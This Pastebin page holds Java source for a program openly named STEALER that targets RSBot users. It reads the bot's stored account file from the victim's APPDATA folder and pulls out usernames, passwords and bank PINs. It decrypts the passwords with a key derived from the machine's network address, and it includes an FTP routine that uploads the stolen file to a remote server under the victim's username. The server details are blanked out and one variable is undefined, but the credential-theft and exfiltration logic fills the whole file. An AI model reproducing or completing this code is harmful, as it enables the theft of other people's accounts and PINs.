Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.util.*;
- import java.net.*;
- import java.security.MessageDigest;
- import java.security.NoSuchAlgorithmException;
- import org.apache.commons.net.ftp.*;
- import java.text.DateFormat;
- import java.text.SimpleDateFormat;
- public class STEALER {
- public static String passwords = "";
- public static String bankPins = "";
- public static String usernames = "";
- public static String ACCOUNT = "";
- public static void main(String[] args) throws IOException {
- File file = new File(System.getenv("APPDATA") + File.separator + "RSBot_Accounts.ini");
- boolean exists = file.exists();
- if (!exists) {
- System.out.println("the file or directory you are searching does not exist : " + exists);
- } else {
- getAllInfo(file.toString());
- //uploadFile();
- }
- }
- public static void getAllInfo(String filename) {
- try {
- BufferedReader in = new BufferedReader(new FileReader(filename));
- String str;
- while ((str = in.readLine()) != null) {
- ArrayList myArrayList = new ArrayList();
- if(str.startsWith("[")) {
- usernames = str;
- //System.out.println(usernames);
- myArrayList.add("USERNAME: "+usernames);
- } else if(str.startsWith("password")) {
- passwords = str;
- //System.out.println(passwords);
- passwords = decrypt(str.substring(9));
- myArrayList.add("PASSWORD: "+passwords);
- } else if(str.startsWith("pin")) {
- bankPins = str;
- //System.out.println(bankPins);
- myArrayList.add("BANKPIN: "+bankPins);
- }
- System.out.println(myArrayList.toString());
- }
- in.close();
- } catch (IOException e) {
- }
- }
- private static String getDateTime() {
- DateFormat dateFormat = new SimpleDateFormat("HH:MM:SS");
- Date date = new Date();
- return dateFormat.format(date);
- }
- public static void uploadFile() {
- FTPClient client = new FTPClient();
- FileInputStream fis = null;
- try {
- client.connect(No can has);
- System.out.println("Connected to server.....");
- System.out.print(client.getReplyString());
- client.login(SEKRET :D);
- String filename = "public_html/uploads/["+getDateTime()+"]"+System.getProperty("user.name")+".ini";
- fis = new FileInputStream(finalFile);
- client.storeFile(filename, fis);
- System.out.println();
- System.out.println("File: "+filename+" Uploaded!");
- client.logout();
- } catch (IOException e) {
- e.printStackTrace();
- } finally {
- try {
- if (fis != null) {
- fis.close();
- }
- client.disconnect();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- }
- static String key;
- static {
- try {
- final InetAddress address = InetAddress.getLocalHost();
- final NetworkInterface ni = NetworkInterface.getByInetAddress(address);
- key = new String(ni.getHardwareAddress());
- } catch (final Exception e) {
- key = System.getProperty("user.name") + System.getProperty("user.language");
- }
- }
- String channel;
- private static byte[] SHA1(final String in)
- throws NoSuchAlgorithmException, UnsupportedEncodingException {
- MessageDigest md = MessageDigest.getInstance("SHA-1");
- md.update(in.getBytes("iso-8859-1"), 0, in.length());
- return md.digest();
- }
- private static String decrypt(final String start) {
- final String delim = "a";
- if (start == null)
- return null;
- byte[] hashedkey;
- byte[] password;
- int i;
- try {
- hashedkey = SHA1(key);
- } catch (final NoSuchAlgorithmException e) {
- e.printStackTrace();
- return start;
- } catch (final UnsupportedEncodingException e) {
- e.printStackTrace();
- return start;
- }
- final String[] temp = start.split(delim);
- password = new byte[temp.length];
- for (i = 0; i < hashedkey.length; i++) {
- final int temp2 = Integer.parseInt(temp[i]);
- if (hashedkey[i] == temp2) {
- break;
- } else {
- password[i] = (byte) (temp2 - hashedkey[i]);
- }
- }
- return new String(password, 0, i);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement